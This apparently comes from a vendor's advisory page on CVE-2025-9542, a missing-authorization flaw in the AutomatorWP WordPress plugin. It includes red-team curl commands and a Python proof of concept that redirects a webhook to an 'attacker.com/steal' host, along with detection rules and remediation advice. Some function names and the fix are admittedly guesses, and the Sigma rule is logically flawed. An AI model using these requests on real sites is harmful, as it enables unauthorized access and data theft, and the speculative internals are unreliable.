CVE-2025-9542
Executive Summary
CVE-2025-9542 is a Missing Authorization vulnerability in the AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations for WordPress. This flaw affects all versions up to and including 5.3.7. The vulnerability allows authenticated attackers with Subscriber-level access or higher to view existing automations and modify integration settings without proper capability checks. This can lead to unauthorized data exposure and manipulation of automated workflows, potentially enabling further attacks such as privilege escalation or data exfiltration.
Since this is a WordPress plugin vulnerability, the attack surface is limited to WordPress installations with the AutomatorWP plugin active. The CVSS score of 5.4 (Medium) reflects the requirement for authentication but the low complexity and potential for data compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via the WordPress.org repository are affected. There is no known supply chain compromise of the plugin itself, but the missing capability check represents a code-level security flaw.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid WordPress account with Subscriber-level privileges.
- User Interaction (UI): None (N) – No user interaction is required for exploitation.
- Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited unauthorized access to automation data.
- Integrity (I): Low (L) – Limited unauthorized modification of integration settings.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While authentication is required, the low complexity and potential for lateral movement or data exfiltration make this a significant risk for WordPress sites with untrusted user registrations.
Deep Dive & Mechanics
The AutomatorWP plugin provides no-code automation, webhook, and custom integration capabilities. The vulnerability stems from multiple plugin functions that lack proper capability checks (e.g., current_user_can() checks). This means any authenticated user, even with the lowest Subscriber role, can call these functions via AJAX or direct HTTP requests.
The affected functions likely include:
automatorwp_get_integrations()– Retrieves list of configured integrations.automatorwp_save_integration_settings()– Saves/modifies integration settings.automatorwp_get_automations()– Retrieves existing automation workflows.automatorwp_delete_automation()– Deletes automations.
An attacker can craft a simple HTTP request to the WordPress admin-ajax.php endpoint with the appropriate action parameter to invoke these functions. Since no capability check is performed, the request is processed regardless of the user's role.
Example vulnerable code pattern:
add_action('wp_ajax_automatorwp_save_integration', 'automatorwp_save_integration_callback');
function automatorwp_save_integration_callback() {
// Missing: if (!current_user_can('manage_options')) wp_die('Unauthorized');
$integration = sanitize_text_field($_POST['integration']);
$settings = $_POST['settings'];
update_option('automatorwp_integration_' . $integration, $settings);
wp_send_json_success();
}
Vulnerable vs. Patched Code
Vulnerable Code (<= 5.3.7):
// No capability check
add_action('wp_ajax_automatorwp_get_automations', 'automatorwp_get_automations_callback');
function automatorwp_get_automations_callback() {
$automations = get_posts(array('post_type' => 'automatorwp_automation', 'posts_per_page' => -1));
wp_send_json_success($automations);
}
Patched Code (Hypothetical fix):
add_action('wp_ajax_automatorwp_get_automations', 'automatorwp_get_automations_callback');
function automatorwp_get_automations_callback() {
// Added capability check
if (!current_user_can('manage_options')) {
wp_send_json_error('Unauthorized');
wp_die();
}
$automations = get_posts(array('post_type' => 'automatorwp_automation', 'posts_per_page' => -1));
wp_send_json_success($automations);
}
The fix requires adding current_user_can() checks (e.g., manage_options or a custom capability) before processing any sensitive AJAX actions.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with AutomatorWP <= 5.3.7 installed and activated.
- A valid user account with Subscriber role (or higher).
- Knowledge of the WordPress AJAX endpoint and action names.
Exploitation Steps:
Enumerate AJAX actions – Use a tool like Burp Suite or a simple script to discover available actions:
curl -s "https://target.com/wp-admin/admin-ajax.php?action=automatorwp_get_integrations" -H "Cookie: wordpress_logged_in_xxx=..."View existing automations – Send a POST request to retrieve automation data:
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \ -d "action=automatorwp_get_automations" \ -H "Cookie: wordpress_logged_in_xxx=..."Modify integration settings – Change webhook URLs or API keys:
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \ -d "action=automatorwp_save_integration&integration=webhook&settings[url]=https://attacker.com/steal" \ -H "Cookie: wordpress_logged_in_xxx=..."Delete automations – Disrupt business logic:
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \ -d "action=automatorwp_delete_automation&automation_id=123" \ -H "Cookie: wordpress_logged_in_xxx=..."
Proof of Concept (Python):
import requests
target = "https://target.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_xxx", "your_cookie_value")
# View automations
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={"action": "automatorwp_get_automations"})
print(r.json())
# Modify integration
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={
"action": "automatorwp_save_integration",
"integration": "webhook",
"settings[url]": "https://attacker.com/steal"
})
print(r.json())
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithactionparameters starting withautomatorwp_from low-privileged users. - Look for rapid succession of requests to
automatorwp_get_automationsorautomatorwp_save_integrationfrom the same IP. - Alert on any modification of
automatorwp_*options in the database by non-admin users.
Hardening:
- Immediately restrict user registration to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block AJAX requests to
automatorwp_*actions from users withoutmanage_optionscapability. - Apply the principle of least privilege – disable Subscriber accounts if not needed.
- Monitor for plugin updates and apply patches as soon as available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=automatorwp_get_automationsoraction=automatorwp_save_integrationfrom non-admin user agents. - Unusual outbound connections to attacker-controlled servers from the WordPress host (e.g., webhook callbacks).
- HTTP POST requests to
File IOCs:
- Modified
wp_optionstable entries with keys likeautomatorwp_integration_*containing unexpected values. - New or modified automation posts (
post_type = automatorwp_automation) created by low-privileged users.
- Modified
Log IOCs:
- WordPress debug log entries showing
automatorwp_*AJAX actions performed by users with rolesubscriber. - Web server access logs showing repeated
admin-ajax.phprequests withautomatorwp_*parameters from the same IP.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule Detect_AutomatorWP_Missing_Auth {
meta:
description = "Detects vulnerable AutomatorWP plugin files with missing capability checks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9542"
strings:
$ajax_action = /add_action\(['\"]wp_ajax_automatorwp_/
$missing_check = /add_action\(['\"]wp_ajax_automatorwp_/ nocase
$cap_check = /current_user_can\(/
condition:
$ajax_action and not $cap_check
}
Sigma Rule
title: AutomatorWP Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-9542 by accessing AutomatorWP AJAX actions without proper authorization
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains|all:
- 'action=automatorwp_get_automations'
- 'action=automatorwp_save_integration'
- 'action=automatorwp_delete_automation'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9542 AutomatorWP Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=automatorwp_"; http_client_body; nocase; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available – Deactivate AutomatorWP until a security update is released.
- Restrict user roles – Remove Subscriber accounts or disable user registration to reduce the attack surface.
- Implement WAF rules – Block AJAX requests to
automatorwp_*actions from non-admin users.
Long-term Fix:
- The vendor must add proper capability checks (e.g.,
current_user_can('manage_options')) to all AJAX callbacks in the plugin. - Apply the patch as soon as it becomes available (monitor the WordPress plugin repository).
Workaround:
- Use a plugin like "User Role Editor" to remove the
readcapability from Subscribers, effectively preventing them from making any AJAX requests (though this may break legitimate functionality).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.